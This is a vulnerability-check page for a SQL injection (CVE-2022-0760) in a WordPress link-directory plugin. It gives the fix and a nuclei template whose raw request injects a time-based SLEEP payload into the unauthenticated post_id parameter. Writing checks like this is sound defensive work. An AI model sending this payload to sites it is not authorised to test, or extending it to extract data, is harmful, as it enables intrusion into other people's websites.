WordPress Simple Link Directory <7.7.2 - SQL injection

criticalseverity

9.8CVSS score

10.8%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

WordPress Simple Link Directory plugin before 7.7.2 contains a SQL injection vulnerability. The plugin does not validate and escape the post_id parameter before using it in a SQL statement via the qcopd_upvote_action AJAX action, available to unauthenticated and authenticated users. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

Impact

Successful exploitation of this vulnerability could lead to unauthorized access, data leakage, and potential compromise of the WordPress site.

Fix

Update to the latest version of WordPress Simple Link Directory plugin (7.7.2 or higher) to mitigate the SQL injection vulnerability.

How to confirm it

Send: @timeout 20s
Positive when: duration>=7 and status_code == 200 || status_code == 500 and contains(content_type, "text/html") and contains(body, "vote_status") || contains(body, "critical error")

Run it with nuclei: nuclei -id CVE-2022-0760 -u <target>

The full check

id: CVE-2022-0760

info:
  name: WordPress Simple Link Directory <7.7.2 - SQL injection
  author: theamanrawat
  severity: critical
  description: |
    WordPress Simple Link Directory plugin before 7.7.2 contains a SQL injection vulnerability. The plugin does not validate and escape the post_id parameter before using it in a SQL statement via the qcopd_upvote_action AJAX action, available to unauthenticated and authenticated users. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access, data leakage, and potential compromise of the WordPress site.
  remediation: |
    Update to the latest version of WordPress Simple Link Directory plugin (7.7.2 or higher) to mitigate the SQL injection vulnerability.
  reference:
    - https://wpscan.com/vulnerability/1c83ed73-ef02-45c0-a9ab-68a3468d2210
    - https://wordpress.org/plugins/simple-link-directory/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0760
    - https://plugins.trac.wordpress.org/changeset/2684915
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-0760
    cwe-id: CWE-89
    epss-score: 0.10825
    epss-percentile: 0.95886
    cpe: cpe:2.3:a:quantumcloud:simple_link_directory:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: quantumcloud
    product: simple_link_directory
    framework: wordpress
  tags: time-based-sqli,cve,cve2022,sqli,wordpress,wp-plugin,wp,simple-link-directory,unauth,wpscan,quantumcloud,vkev,vuln

http:
  - raw:
      - |
        @timeout 20s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=qcopd_upvote_action&post_id=(SELECT 3 FROM (SELECT SLEEP(7))enz)

    matchers:
      - type: dsl
        dsl:
          - 'duration>=7'
          - 'status_code == 200 || status_code == 500'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "vote_status") || contains(body, "critical error")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from